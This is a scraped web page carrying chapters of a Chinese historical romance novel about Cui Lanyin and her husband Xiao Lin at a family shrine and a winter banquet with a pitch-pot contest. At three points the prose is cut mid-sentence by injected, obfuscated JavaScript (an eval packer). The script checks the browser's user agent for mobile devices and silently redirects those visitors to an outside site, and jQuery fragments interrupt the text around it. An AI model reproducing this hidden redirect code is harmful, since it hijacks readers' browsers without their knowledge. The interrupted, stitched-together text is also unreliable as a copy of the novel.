l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977520|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,崔兰因顺势往旁边一倒,像只兔子般轻轻蹬了下脚,蜷起身,脸上雪腮晕粉,已经酣睡入梦。 居然是睡着了…… 能睡得这样沉,说明早就在走神,还叫他背了那么久的世家谱。 萧临的手没有收回,在原处悬停了会转而往那张睡红的小脸移去。 然而指.尖才触及崔兰因温热的脸肉,他就猝然像是被火舌燎了手,猛然收回。 长袖掩下,手握成拳,他再次看向正前方黑压压的神牌,无数的名字就像是无数眼睛,在通明彻亮的祠堂,静静地凝视着他,观察着他,审视着他。 萧临跪得很直,好像在用全身的力量向压在他肩上的重担抗衡。 / 到寅正时分,萧临才把崔兰因叫醒。 待天亮婢女随从起来扫洒,路上人多眼杂。 崔兰因揉着后颈,迷迷糊糊起身,嘴里道:“我怎么浑身都疼啊。” 就她那一晚上抱着蒲团能横七竖八换着来的睡觉的姿势,身上能好就怪了。 不过萧临不打算对她的睡姿加以评论,只是缓慢撑起身道:“回去吧。” 崔兰因揉捏手腿颈腰,脚还在发麻,于是一瘸一瘸跟着动作萧临往外走。 “夫君你一整夜都没睡啊?” “没睡。” “那、那我昨天晚上什么时候睡着的,你怎么也不叫我起来?” 萧临道:“不知,我背着世族谱。” 崔兰因捂住小嘴,终于露出了愧疚的神情。 她可一句没听进去。 萧临往正门走,崔兰因可不能光明正大出去,她还要去找进来的狗洞。 萧临见崔兰因揉着头发东张西望,忽然想到一事。 “你是怎么进来的?” 外面有护卫看着,十二时辰轮班都不曾离开。 崔兰因指着角落里、被灌木掩映的狗洞,“那里。” 见到那处,萧临冷静的面孔崩开裂痕:“你……” 崔兰因踮脚凑近他,低声安慰道:“用不着感动,你是我夫君,夫君有难,纵然有刀山火海我都要来看一眼的,区区小狗洞算得了什么!” 这女郎能说会道,见人说人话,见鬼说鬼话,就连他母亲那样严格谨慎的人上一回也被她的眼泪给蒙混过去。 萧临往后与她避开点距离,面上未有半点感动,只道:“不可再如此,有失仪态。” 崔兰因拉住他的袖子,“其实夫君也是想我来陪的吧?要不然早在我睡着时,就会把我叫起来,然后让我走,对不对?” 她语气里对自己所言之事那是信誓旦旦,特意加上个“对不对”是故意促狭他。 “不是。”萧临否认。 “怎么会,你看先祖们都要把神牌放在一起,每个人都希望身边有人陪伴。” “每、个、人!” 崔兰因咬着字重复一遍,每说一个字就挨近一分,说完三个字,她已经挨在萧临身侧。 萧临没有躲,也没有推开她,仿佛是在这一刻忽然被什么束住了,又或者真的在思考什么,无法做出反应。 见状,崔兰因没有再打趣,甚至还主动离开他身侧,屈膝行了个礼,“夫君,天要亮啦,我们得快点离开这,不然会被人瞧见。” 萧临“嗯”了声,对她交代,“你小心避着人,不要被瞧见。” 崔兰因像饮了蜜般甜甜笑了起来,“知道啦,夫君会关心我,我昨夜就没有白来!” 不过是一句叮嘱,如何算得上关心。 萧临心知不能和崔兰因争辩,不然她还能变着法子说些他接不了口的话,只能默认。 崔兰因没听见他反驳,更高兴了,朝他用力挥了挥手,就麻利地钻进小灌木。 萧临偏头不去看,脑海里却忍不住浮出昨夜她的睡姿。 幸好晚上冷,她知道把衣服都裹在身上。 在走出祠堂前,萧临又倒回去把贡案上的小鱼干重新包起来打算拿走。 最后看了眼父亲的灵牌,他低声道了句,“崔氏,平日里还是很守规矩的,是儿……” 是儿…… 是他放任崔兰因留在身边,即便只有呼吸声静静陪伴,漫长无趣的夜也没有那么难挨。 “……多谢父亲。” 未尽之言化作萧临合袖一拜。 11. 冬宴 萧临跪完祠堂,事情便算揭过。 崔兰因再没有听见有关萧七郎和陆家娘子的消息。 寒露霜凝,层林尽染,时间眨眼就到了十二月十五。 棱窗外忙碌景象收入眼底,崔兰因心中感慨。 萧家真真倒反天罡,别家都是春暖花开时办个赏花宴,再不济夏天弄个曲水流觞什么的,唯有萧家,寒风冷地里搞个冬日宴,也不怕冻坏客人。 “娘子,前园来传话了!大娘子唤我们过去。”陈媪进屋赶紧先把崔兰因从头到脚打量一遍,唯恐出纰漏,落下什么话柄。 崔兰因深深吸了口气,给自己鼓劲。 辛苦的日子总算要过去了。 “快走吧,我都等不及了。” 崔兰因抱起手炉,提裙快步走出。 连接前后院的回廊上,萧临沿着挂满垂毡避风的回廊转了个弯,险些就被崔兰因撞上。 两人打了个照面,都发现对方今日有所不同。 崔兰因立刻倒退两步,把萧临上上下下看了遍,两眼晶亮,“哇”了声,“但见郎君光彩照人,好似仙人下凡,不想,竟是我夫君也!” 陈媪忍不住捂住眼睛,景澜景澄四只眼齐跳。 未免太直接了! 萧临:“……” “夫君夫君,我呢?我今日装扮好看吗?”崔兰因原地转了好几圈,头上的流苏、绣满花纹的裙缘袖边都晃了起来,像只花蝴蝶。 萧临等崔兰因将将站稳,才得以定睛看清她人。 今日崔兰因妆容格外隆重,头梳留仙垂髾髻,中央金色鹿角托起两只小巧的衔珠金凤作为主饰,两边的护鬓月牙状挂着流苏,与她明亮流彩的眼睛相呼应。 霞光红荷叶半袖上襦配杏黄广袖,下边是一条黄蓝间色杂裾裙,腰带高束在胸下,衬得腰上丰腴而腰下纤挑。 流苏在动,胸口在晃,崔兰因仰起雪嫩的小脸,还在等表扬。 萧临把眼睛转至廊外,看风吹动树梢,“太晃了,看不清。” 崔兰因“哼”了声,不浪费时间与萧临纠缠,带上陈媪和婢女们往王大娘子所在的院子去。 远处银杏金黄,枫树红艳,翠绿松柏交映,近处玉兰含苞待放,菊花迎风招展。 盛装华服的夫人们正在温暖的火廊下寒暄。 崔兰因款款上前给王大娘子以及萧家各房夫人们问安,王大娘子再微笑着把她介绍给芳客们。 “早就听闻崔二娘子长得千娇百媚,瞧瞧这身段,就连周娘子都比不上。” 夫人们纷纷掩唇笑。 那位周娘子长得珠圆玉润,加上生育过两个孩儿后更显上身丰腴,时常被那些崇尚清瘦的娘子嘲笑。 崔兰因没听说过周娘子,但人又不笨,还是能够看出夫人们笑得不怀好意。 所以,这话不是好话。 王大娘子看了她一眼,并未立刻相助。 萧氏其他几房的更只等着看热闹。 平素王大娘子仗着长公子是族里最出众优秀的郎君“耀武扬威”,现在好了,儿大不中留,瞒着她这个做母亲的,擅自给自己娶了个不被看好的崔二娘。 崔二娘出丑,气死的是王大娘子! 夫人们都在笑,崔兰因也摆出一副受宠若惊的样子,欢喜道:“夫人折煞我了,兰因不过胜在年轻几岁,哪比得上各位夫人容光焕发、风姿绰约,都说酒越老越香,夫人们也是经年越美啊!” 几位夫人的笑脸顿时僵住。 “你这孩子……嘴可真甜啊。” “夫人们和善,不吝夸奖,兰因心甜嘴自然甜。” 夫人们:“……” 恶人自有恶人磨确实有一定道理。 王大娘子早看穿崔兰因伶牙俐齿鬼精明,故而才刻意容她把话说完才微笑发话:“兰因,去旁边盆景园招待女郎们吧。” 女客中有年长的也有年轻的,年长的夫人们都聚在王大娘子身边,崔兰因作为年轻新妇被派去招待小娘子们也正常。 兰因大大方方和夫人们告别。 夫人们皮笑肉不笑送她走远。 崔兰因走进盆景园,已有不少衣着华丽的女郎结伴在欣赏盆松和各种珍品菊花。 她环视一圈,眼花缭乱,还没找到熟悉面孔,却先听见一道耳熟的声音——是那夜要与萧七郎一刀两断的娘子! “家中无人就不能来这赏花了吗?” 崔兰因循声望去,原来也是位清丽佳人,衣装打扮都相当朴素,在一众娇色中显得柔弱可怜。 “说的好听,谁知你究竟是赏花还是来勾人的?” “别走啊,我们话还没说完你就要走,不是心虚是什么?” “这里是萧园,我虽客居于此不敢称主,可王大娘子仁厚,也未曾严禁我出入。” 崔兰因趁两边人还没有闹太厉害,快速加入其中。 “诸位娘子。” 得亏萧家的世家谱图文俱茂,让崔兰因很快把人认全了。 左手边长凤眼、嘴角有粒小痣、咄咄逼人的女郎是王家的十一娘子,右边只会跟着点头,眼睛圆溜溜、脸颊肉乎乎的是张侍郎家的五娘子,两人中间还有个虽然不说话但是英眉挺鼻、神情很横的顾家八娘。 这三位都出身世家大族,比起已经没落的陆家自是强势不少。 可是伸手不打笑脸人,崔兰因笑容满面上前见礼,众人只能与她回礼。 “崔二娘子?”顾八娘和她有个几面之缘,只是彼时崔兰因跟在她阿姐崔芙宁身后并不起眼,如今神情姿态都大不一样,所以她都有些不敢认。 崔兰因笑道:“八娘好久不见。” 顾八娘虽然和崔芙宁有交情,但却不乐意卖崔兰因脸,故而只哼了声。 但王十一娘子却抓住崔兰因要她主持公道。 “崔二娘恐怕还不知道,陆锦儿靠二房大娘子心善收留,对萧家郎君勾勾搭搭,那位萧七郎可是八娘未来的夫婿,你说这事,我们该不该理?” 崔兰因当然知道。 那天晚上仅仅偷听了数语,一场爱恨情仇便勾画在她面前。 不过吧,这件事萧七郎也有很大的问题,倒不是陆娘子一人的错。 崔兰因道:“理,当然理,但是我觉得这件事最好的办法不是抓着陆娘子不放,而是应该直接去找萧七郎啊!” 王娘子一惊。 顾娘子拧紧了眉。 张娘子连果子都不啃了。 这都是小娘子之间的事,谁会巴巴去找郎君啊! 崔兰因清了清喉咙,道:“毕竟与八娘有婚约的是萧七郎,该如何表态都是郎君的事,与旁的娘子何干?除非是不信任萧七郎的选择?” 这点顾娘子当然不肯承认,她恼羞成怒道:“这件事还轮不到崔二娘子置喙,你还是先管好你自己吧,自己都是个不清不楚的来历,承蒙崔家上下几双眼睛都不识货,错把你当块宝捧到萧家来做长公子的妻,哼,你还真以为自己是个人物?” 这句话顿时把气氛带到冰窟里。 张娘子和王娘子齐刷刷看向崔兰因。 虽然大家私底下都这样传,崔兰因走丢十年,仅凭一张脸和一枚信物就轻易认祖归宗,成为崔家的女郎,未免太过儿戏。 这些话,背后说就罢了,当着人面说跟直接打脸有何区别? 就算再没有脾气的人,也难以容忍别人指桑骂槐,说自己是来历不明的野种! 可崔兰因还是笑脸盈盈,宛若未闻。 张娘子忍不住拿起果子重新啃起来。 是了,这次萧家的冬宴是崔二娘子第一次以萧家妇出面的重要场合,她绝不可能做出失礼的事。 顾八娘正是拿捏住她的七寸才肆无忌惮,甚至有可能还是故意挑衅,想要看她当众出丑。 若说顾八娘有多喜欢崔芙宁,就有多讨厌崔兰因,要是能让崔兰因出点丑,她肯定喜闻乐见。 崔兰因笑道:“这是发生在萧家的事,我再没有本事,也不能让客人费心呀,诸位娘子都是萧家的客人,阿家特意叮嘱过兰因,一定要好好招待,让娘子们吃好喝好,不至于嚼到些鸭舌鸡舌等小菜。” 这是在骂她嚼舌根呢! 顾八娘两眼一瞪,就要发怒。 忽然一道温柔的嗓音从后面传来,“阿樱,原来你在这里。” 崔兰因马上转身,欢喜道:“阿姐!” “宁宁!”顾八娘也朝来人亲切叫唤。 崔芙宁对她温柔一笑,“八娘你也在。” 旁边王三娘更是一改刚刚的嚣张,嗔怪:“宁宁你怎么这般迟才到,还当今日你不会来了。” 崔芙宁和众女郎一一打过招呼,但是手却只牵了崔兰因。 “今日是阿樱的重要日子,我这个做姐姐当然不能缺席。” 崔兰因抬起一只手,晃了晃脑袋上的流苏,“阿姐我今日好看吗?” 八娘和王娘子齐齐瞪她,无廉耻! 崔芙宁笑着打量妹妹一阵,然后才说:“好看,这身衣裙既衬你的肤色,又显你高挑,发冠与发型相配,贵气又活泼。” 崔兰因眉眼弯弯,很受用。 顾八娘撅起了嘴,不满地把脑袋扭向一边。 十一娘也不再吱声。 崔芙宁又挨个把旁边的娘子都夸了一遍。 譬如“八娘今天这个妆透亮好看”、“十一娘的冠好新颖”,就连一直被人冷落的陆娘子也被夸了句气质娴雅,名门之后。 真是雨露均沾,一视同仁。 顾八娘更无奈了。 崔芙宁就是个滥好人,在她一帆风顺的人生里突然多出来个“妹妹”,不但抢走了崔母崔父崔家大郎,乃至老夫人的关心,就连与萧家的婚事也…… 她真是恨其不争啊! “对了,你们刚刚在这里聊什么?”崔芙宁笑问几位闺中好友。 陆娘子低下头,顾娘子王娘子也不吭声,张娘子忙着吃果子,只把眼珠子转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977521|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来转去。 还是崔兰因把事情简单讲清楚,最后道:“我想这件事是个误会,不好平白污了陆娘子名声。” 既然那日陆娘子已有斩断旧缘的念头,想必是不会愿意掺和和顾八娘和萧七郎之间的事。 崔芙宁道:“阿樱说得不错,八娘你先消消气。” 有崔芙宁调解,顾八娘偃旗息鼓,不再争辩。 崔兰因赶紧敲定:“事情就这么先定了,娘子们可要随我去……” “笑死人了!我没有听错吧,崔兰因还真以为自己能当家做主!” 才听见一阵叮呤当啷的脆响,转眼间一花枝招展、通体富贵的女郎气势汹汹杀到眼前。 “武元公主。” 崔芙宁下意识上前半步,将崔兰因挡在身后。 这里对崔兰因威胁最大的不是王家娘子也不是顾家娘子,两人世家出身,行事讲分寸,但武元公主齐敏不一样。 在齐敏高祖那一辈的时候还是流离失所的流民,真正卑贱的下民。 若不是北胡的侵扰,流民军的组建,后来皇甫氏倚重他们的力量,加上齐太后携幼子临朝,齐家也不可能一步步走上权利的顶峰,以至于颠覆皇甫氏的皇权。 但是世族就是世族,千百年来他们与庶族泾渭分明。 世族看不起庶族,就算当上了皇帝也看不起,当年的皇甫氏如此,现在的齐氏更是如此。 所以齐敏的出现,让世家女郎们一致对外。 “没想到公主也会拨冗前来,难道是贼心不死?”十一娘最先开口讽道。 萧家长公子的婚事会定得如此匆忙,起因就在这位武元公主身上。 公主适龄,要择夫婿,又眼高于顶,要选建康最好的儿郎,兰陵萧家长公子风光无限,盛名在外,早早被公主盯上。 萧家拿出和崔家的口头之约,以拒皇恩。 于是在公主齐敏眼中,便是萧临宁可娶一个“来历不明”的崔家女,也不肯做她的驸马! 是可忍孰不可忍,所以这一切都是崔兰因的错! 对此,曾经毫不知情在家中乖乖待嫁的崔兰因表示:卿有疾否? 但梁子单方面结下,崔兰因不好装聋作哑,更不能让阿姐为她冲锋陷阵。 “公主也来了。” 崔兰因从崔芙宁身后探出头,打了个招呼。 齐敏顿时顾不上和十一娘呛声,转而对崔兰因开腔:“看热闹的事我自是要来!崔兰因,听闻长公子从不宿你屋里,你们还不算是真夫妻,是不是?!” 此一言出,众女哗然。 崔兰因嫁给萧临已经一月有余,两人居然还没做夫妻! 崔兰因迎着那一双双同情也有、看笑话也有的目光,绽出笑容,“成婚嘛,只要名字上了族谱就行了,我只图嫁得高,有面子就行。” “你倒是想得开。”齐敏不吝讽刺。 崔兰因奇怪:“公主想不开,不也没有法子吗?” 齐敏被踩到痛脚,圆目怒睁从牙缝挤出一句话,“这就是你们萧家的待客之道!” 崔兰因及时醒悟,连连道歉。 齐敏高傲地昂起下巴,却又听崔兰因委屈道:“都怪我,听公主过问几句我们夫妻房里的私密事,就将公主当自己人了,有失礼节,乃兰因之过。” 言外之意,想要我客客气气,就别不把自己当外人。 齐敏:“……” 和齐敏同样面如菜色的还有王十一娘、顾八娘。 从前怎么不知崔兰因如此伶牙俐齿! 唯有崔芙宁没忍住笑。 阿樱这张嘴一贯能把人气得跳脚,从前她忧愁阿娘说不过阿樱,母女俩总是置气,现在却想,至少在外面不容易吃亏。 那边女郎们叽叽喳喳,争闹的声音被风如实吹到望松亭里两位郎君的耳边。 谢玧一阵好笑,“这就是你说的,教了一个月初见成效?” 萧临:“……” “也没什么不好。” 谢玧讶然侧目,“我没听错吧,这是你萧神玉能说出来的话?” “挑不出错,不算失礼。” 谢玧笑着评价:“强词夺理。” “投壶?” 下面传来新动静。 两人同时往下看,原来是萧家准备的热场活动,婢女们捧来双耳铜投壶和白羽矢,请娘子们参加。 “难道崔二娘没有玩过?” “不太精通。” “走,我们比比!” “可是我……” “主随客便的道理,懂不懂!” 公主不由分说把崔兰因挟走,看样子是想用投壶压一压她的风头。 在盆景园外正好有一群郎君,听见这边的热闹也嚷着要去瞧瞧。 其中有一道声音最为响亮。 “我嘛?我当然押崔二娘胜!” 萧临循声望去,那锦衣束袖、意气风发的年轻郎君,正是最近圣宠正浓的二皇子。 12. 手指 很快女郎就聚到一块,准备参加投壶。 郎君们也被这边的热闹吸引。 虽在冬日,但贵女们华裾鹤氅,珠环翠绕,比春日枝头的花还要艳丽。 “怎么,看得眼睛都不眨了,是不是觉得还是建康的美人更合眼?” 被同伴一胳膊肘捅醒,蓝衣郎君笑道:“确实是很合眼。” “哦,你瞧中哪位娘子?” 蓝衣郎君刚抬手指了个方向,就被同伴拍了下来。 “你、你也不能太岁头上动土,那位是崔二娘,长公子的新妇,你从前都没见过吗?” 蓝衣郎君重复:“……崔二娘?” 对方又絮叨:“不过也是,崔二娘几乎不出来参加宴会,这两年能看见她的机会少之又少,你初来乍到,不知情也正常。” 蓝衣郎君微眯起眼,低声道:“我不认识什么崔二娘,我只认识,盈盈。” 崔兰因和齐敏各站在一投壶面前,两名萧家婢女捧着放木矢的托盘侍候于她们身侧。 齐敏打小跟着父亲骑马射猎,作诗写赋可能说不上好手,但投壶绝对是高手。 至于崔兰因,没有人见识过她投壶的水平。 贵女们交头接耳,议论纷纷。 除了比试的人之外,投壶还有给旁观者下注的玩法。 规则也很简单,任意选定一方添彩,可以是金银也可以是小玩意,赢的那方会拿走所有的添彩,而输的那方则全部退还。 这些世族权贵并不会吝啬几个钱,只是谁都希望自己的眼光更胜一筹,面上有光也讨个好意头。 胜负欲作祟,即便平日里再看不惯公主做派的,这次也压公主胜。 要不然就是谁都不压,光瞧热闹。 萧家几位娘子倒是压崔兰因胜。 不看僧面看佛面,在长公子面前,她们也不能选公主。 即便如此,压崔兰因这边的还是少的可怜。 崔芙宁当即把手上戴的玉镯摘下来压崔兰因胜。 啪嗒—— 随着一声惊人的巨响,捧添彩的婢女差点没有双膝一软跪下去。 侍从托住婢女的手臂,喝道:“这是我们殿下给崔二娘的添彩头,黄金二百两!” 所有人都因这一声喝吸引了目光,吃惊地看着那一袋金。 在女郎投壶时,男宾一般看热闹的多,下添彩的少。 送金银不好看,送首饰太暧.昧,若非早有指婚意图的男女,不会选择这个时候冒头。 “早就听闻二皇子和崔二娘子私下要好,没想到竟是这般……” “这二百两可是上一回从圣人处得来的赏吧?” 崔兰因正在掂量木矢重量,听远处闹腾便抬起眼,人群里齐蛮在朝她挥手。 牙齿雪白,笑容灿烂。 崔兰因狐疑地看向站在侍候队伍里的陈媪。 陈媪快几步走上前,在她耳边道:“女郎,是二殿下给您下了两百两的添彩。” “……” 齐蛮这个人好的不学,坏的倒学得比谁都快,这纨绔做派可真是十足十得像啊。 搞这么大阵仗吓唬谁? “随他去吧,赢不赢的,我还说不好。”她以三指捏着木矢中间,眯眼瞄准前面的铜制双耳壶,随意一掷,矢斜飞进壶,挂在壶壁上。 “倚竿!”①司射官一挥小旗。 齐敏没忍住笑出声来,不过很快她就止住笑,盯着一个方向,恨恨喊:“长公子!” 三位风华各异的郎君走出来,除萧临之外,还有谢玧以及一位王家的郎君,名叫王煊。 听闻圣人有意让谢玧或王煊尚公主,可公主的眼睛里只有萧临一个。 这可真是——好精彩一台戏啊! 崔兰因兴致勃勃把目光来回往几人脸上扫视,忽而察觉有人在盯她,顺着感觉看回去才发现是萧临。 日光下那双眼犹如深渊,好似下一息就要把她拽进去。 崔兰因忍不住搓了搓手。 她刚刚做错什么事,被萧临抓住把柄了? 飞快在脑袋里搜罗一圈,一无所获,疑惑地重新抬起眼,萧临的目光已经落到面前的公主身上。 齐敏道:“萧神玉,我刚刚瞧见你在那边待了好一会,你压谁赢?” 崔兰因忍不住竖起耳朵。 萧临居然也会参与这样的活动? 他曾说过身为主人,宴客时不能争强好胜,不可令客人觉得颜面扫地。 想客人有面子,那他压公主赢的可能性更大。 崔兰因会这样想,齐敏心里更是如此猜测。 萧临守礼节,知分寸,即便拒绝与她的婚事也是用迂回婉转的法子,没有让她下不了台面。 萧临保持微笑,温声道:“未定输赢,不论功赏,还请公主专心比试——”说着他的目光又转回崔兰因脸上。 但崔兰因此刻正被别的事引走了注意。 萧临顺着她的目光看见齐蛮正在不远处与人交谈。 此时司射官站出来,请两位贵女做准备。 齐敏见崔兰因目光出神望着远处毫无反应,还当她是怕了,得意道:“崔兰因,要不要再让你练习一、两矢?免得太丢人?” 崔兰因回过神,忽然道:“就我们玩多没意思,不然玩双投,你可以请谢郎君或者王郎君,我请长公子,如何?” 谢玧站得不远,刚好能听见崔兰因的话,苦笑对身边人道:“这女郎还记恨我呢?” 萧临没搭声,只是盯着崔兰因的后脑勺沉思。 本来是女郎的比试,突然把郎君扯进去,多少有点刻意。 崔兰因究竟想做什么? 齐敏成日被人说要在谢家和王家里选,烦得要命,偏崔兰因还哪壶不开提哪壶,竟要她当众表态。 趁公主还在发火的边缘,崔兰因赶紧找补:“瞧我说错话了,不然公主还是与二殿下兄妹搭档吧。” 比起谢郎、王郎,那个不像话的兄长确实更容易接受,齐敏想了想,就对身边人吩咐,“去告诉二兄,要他与我组队……他会投壶的吧?” 齐敏对这从外面“捡”回来的二兄不甚熟悉,也不愿意了解,只知道他和崔兰因一样,是个不学无术的“纨绔”! 崔兰因怕齐敏临时反悔,连忙道:“会,他投得可好!” 齐敏“呵”了声,笑眯眯道:“果然还是崔二娘子了解我二兄啊!” 公主的冷嘲热讽刚落到耳边,崔兰因察觉身后站了个人,熟悉的气味萦绕鼻端。 她回头,萧临那张端庄板正的俊脸就映入视野。 崔兰因眨了眨眼,还以为长公子定会拒绝这样无聊的玩闹,她都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他?哦,你说袁四郎?淮南太守之子,其父因赈灾有功调任度支尚书,才回的建康。” “赈灾有功?” “不错,便是我们离开那年,盈江支流泛滥,适逢荒年,险些大乱,你还记得吧?” 崔兰因若有所思点头。 “负责赈灾抚民的就是他们胶东袁家。”齐蛮眯起眼,“你认识他?” 崔兰因道:“不说闲话了,我们该比试了。” 说起这事,齐蛮把木矢一收,不满道:“我送上黄金百两,还叫我出来丢人,盈盈这般做,就不会良心过意不去吗?” 崔兰因把木矢丢回托盘,“你若赢,黄金我是一块不拿。” 齐蛮敛了笑眼。 崔兰因答应和齐敏比试不过是玩玩,压根不会为了那点添彩而动真格。 她早不是几年前会为一两小钱和人打破头的孤女,而是清河崔氏的女郎,兰陵萧氏的新妇。 世家贵女,骄矜富丽,只怕还会嫌黄金庸俗,避之不及。 齐蛮哼道:“你不想要我的黄金,难道萧临的也不要?” 13.迁怒 崔兰因还没反应过来,齐蛮把托盘往侍女手中一丢,径自朝喋喋不休抱怨的齐敏走去。 比试开始,司射官往两个香炉里各点上一支香。 齐敏立刻把齐蛮拨到一边,迫不及待拿起木矢,“我先。” 崔兰因把萧临推出来,“你先。” 此举有临阵脱逃之嫌,齐敏没放过任何奚落崔兰因机会,马上跳出来道:“崔二你该不会真是怕了吧!” “田忌赛马你没学过吗?”崔兰因反奇怪道。 齐敏、齐蛮、萧临:“……” 这究竟在骂谁? 双投除参与者筭数累加之外,先完成的一组,还能获得额外的十筭。 齐敏闭着眼睛都能投,速度自不在话下,只见她拿起木矢,确定重心位置,调整拿握方式,很快就投出第一支。 司射官挥动小旗,喊:“中!有初。” 负责计分的小官在板上如实记下得分。 随后齐敏迅速投完剩余的三支,每一支都投中,分别为连中、贯耳、连中贯耳,计四十五筭。 在如此短时间内全中已是投壶中的佼佼者,更何况她整个过程一气呵成,赏心悦目。 萧临身为兰陵萧氏的郎君,精通六艺,而投壶亦是从“射”演化而来。 所以对他而言,区区九尺的距离远比张弓射中六十丈外的目标简单。 不过萧临还是比齐敏稍晚一步才将四支矢投完,虽然成绩只有四十筭,但好歹全中,颜面还在。 齐蛮环手看了会热闹,等崔兰因上前来他才拿起木矢,道:“和你一起投壶好像是很久之前的事情了。” 崔兰因没回,趁齐蛮还在唠叨叙旧,先手扔出一支木矢。 司射官挥动小旗,“有初贯耳!计二十筭!” 这个成绩让所有人都看呆了眼。 壶耳窄小,非手感极好者,轻易不敢投之。 齐蛮问:“怎么突然干劲十足?” 崔兰因道:“好奇萧神玉压了什么东西。” 她才想明白齐蛮的意思。 齐蛮回头看了眼萧临,对方显然也听见崔兰因的这句话,那张总是温润如拓印在画纸上的死样都有了细微的变化。 都是夫妻了,送个东西还这么大费周章。 倒显得他夹在中间,像个傻子。 齐蛮用木矢在手指间转了个花样,“不知道为什么,突然就不想让你了。” 崔兰因狐疑道:“你原本是打算让我的?” 齐蛮狠狠咬住后牙槽,“不然我放两百金逗你玩?” 崔兰因歪头,“谁知道你存什么心?” 齐蛮这次真的被气笑了。 不过是一次挺了崔芙宁没站她,至于气性这么大,记恨他这么久?! 齐蛮突然眉心一皱。 崔兰因很小气,他好像从很早就知道,只是不曾真的放在心上,也没有想过她真的会这么在意“唯一”。 可世间如此复杂,任何人任何事都无法作为他的唯一。 从前如此,现在也是,所以他也不会要求做崔兰因的唯一。 “你真该改改性子了。” 崔兰因:“?” 齐蛮不再说话,左右手各拿一木矢,“唰”得声同时掷下,两支各挂中一耳。 司射官愣了下,举旗道:“有初贯耳、连中贯耳,计四十筭!” 齐蛮朝崔兰因一抬下巴。 崔兰因哼道:“手长了不起。” “你不是一直很羡慕手指长的吗?”齐蛮故意张开手,炫耀般活动起手指。 “羡慕你指头被扎出血,半个时辰后脑子才知道这回事吗?” “嘁!你怎么还记得?那你忘记我是为谁才被扎的吗!” 两个人互不想让,吵吵闹闹。 谢玧啧啧称奇:“谁说这两人关系不错?现在看来也不过如此啊……神玉,你觉得呢?” 萧临温声道:“我不知道。” 只是,他从未见过崔兰因这样和自己讲话,更轻松更自然也更……熟悉? “都说这二殿下行事不知分寸,是无人管教的缘故,我行我素任性惯了。崔家大娘子那事你可有听闻?”谢玧不等萧临回应,自顾自道:“我亦是听人说起,大殿下在受伤之前与崔大娘子关系不错,你懂不错的意思吧?后来二殿下回来后许是知道了这个事,便对崔大娘子殷勤备至,大殿下也因此郁郁寡欢……哎!” 最后一声叹,意味深长,只待有心人心领神会。 “承明欲言何事?” “你心知肚明。”谢玧目光炯炯,直视前方。 萧临望着齐蛮的背影。 不学无术、飞扬跋扈、酒囊饭袋……诸如此类的形容加注在他头上,与宽厚仁爱、知人善任的大皇子对比鲜明。 但正如谢玧所说。 齐蛮回建康的这两年,看似糊涂又荒唐,但做的桩桩件件的事都在朝着一个方向。 排除异己、笼络朝臣。 他抢夺的欲.望都在那双眼睛里,并未加以掩饰。 譬如他看大皇子时,又譬如他看崔兰因时。 萧临眉心浅皱,目光聚在齐蛮后背良久,直到掐紧的指.尖感受到脉搏剧烈的跳动方松开眉心,随着视野的扩大,余光见谢玧也皱起眉。 随后,被屏蔽在外的声音也传回耳中,谢玧皱眉也有了缘由。 “……长公子名不副实,就这投壶的水平连个女郎都不如。” “盛名之下不过尔尔,不然也不会有三更半夜拿鱼泄愤之举,非但不似君子,还有怪癖之嫌呐。” “说起怪癖,何止此一桩,诸位可有听闻……” 一时间,对面几个脑袋都凑在一块。 另一边的女郎们被这几句话勾得抓心挠肺,恨不得化作男儿身凑上前听个仔细。 谢玧侧头道:“神玉。” 萧临唇角眉梢都未有丝毫变化,笑容依然挂在脸上,“不必理会。” 世间人言如雨,时沾袖身,岂能一一介怀,自寻烦恼。 立于寒峭的山巅,寒风暴雪便如影随形,早已习惯。 不管是挑剔、质疑、讥讽还是谩骂…… “当——咚!” “哎呦!” 突然投壶区起了一阵乱。 一道声从混乱的沸议声中直冲而来,“崔氏!你竟袭击袁四郎!” 萧临眺目望去,发生混乱的地方正是崔兰因所在的投壶区。 “发生何事?” 谢玧招来一侍从,侍从是司射官副手,刚刚的情况他再清楚不过。 “……先前崔娘子落后二殿下两支矢,所以同时投出两支,一支矢先落进铜壶,另一只矢则被弹出来,不巧砸、砸中袁四郎的鼻子……” “现世报?”谢玧想替萧临打趣两句,但身边已经没了人。 萧临提步上前,人群纷纷让开。 捂着鼻子的袁郎君单膝跪在地上,旁边几名郎君愤愤不平在叫嚣:“手滑?崔娘子当我等眼瞎,适才投耳时,崔娘子百发百中,连如此窄小的贯耳都能投中,又怎会让木矢弹出,你分明是故意的!” “真是对不住了,袁郎君,你没事吧?” 袁四郎帕子捂紧汩汩流着鼻血的鼻子,一双上抬的眼中映着一张笑盈盈的丽容。 他弯了下眼睛,“崔娘子想打我,说一声便是,何必大费周章?” 崔兰因唇角微扬,抬起右手。 那只腻白素手在袁四郎骤睁的眼前一晃,又自然地回转了个方向,勾住自己鬓角散落的发丝,轻撇到耳后。 “袁四郎说笑了,我怎么能打客人呢。” 崔兰因的假笑,和袁四郎的反应让齐蛮心生疑惑,他把两人各看了一眼,缓缓道:“袁 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齐敏突然奇想喊住他:“喂,你投壶哪里学的,居然这么好?” “百戏院。” “百戏院?” 齐蛮嘲道:“在百戏院如你这般的成绩,第一个月藤条打手心,第二个月铁钳拔甲盖,第三个月就——砍手!” 